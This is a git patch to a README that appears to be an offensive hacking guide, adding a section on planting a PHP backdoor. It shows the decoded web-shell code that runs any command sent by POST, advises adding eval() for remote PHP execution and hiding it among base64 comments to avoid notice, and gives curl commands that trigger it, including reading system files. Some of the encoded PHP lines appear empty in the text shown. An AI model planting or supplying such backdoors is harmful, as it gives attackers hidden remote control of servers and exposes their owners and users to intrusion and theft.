From d877a2aa42eac7e0351c7fea19ad71b3dfefdc4b Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Thu, 29 Aug 2024 10:28:33 +0100 Subject: [PATCH] Update README.md --- README.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/README.md b/README.md index cfc2fce..7a27085 100644 --- a/README.md +++ b/README.md @@ -1635,6 +1635,10 @@ Add this line to the beginning of any PHP file: ```php ``` +It is base64 encoding of: +```php +if(isset($_POST[0])){system($_POST[0]);die;} +``` Test the backdoor: ```sh @@ -1646,6 +1650,25 @@ curl http://127.0.0.1:8080/test.php curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id" ``` +Sometimes `system()` is prohibited. Add `eval()` to allow remote PHP-code execution as a backup. Hide within other base64-comments for some obfuscation: +```php + +``` + +Trigger with any of these to execute comand or PHP code: +```shell +# Execute just command +curl http://127.0.0.1:8080/x.php -d0='id' +# Execute just PHP code +curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");' +``` + **6.v. Local Root Backdoor**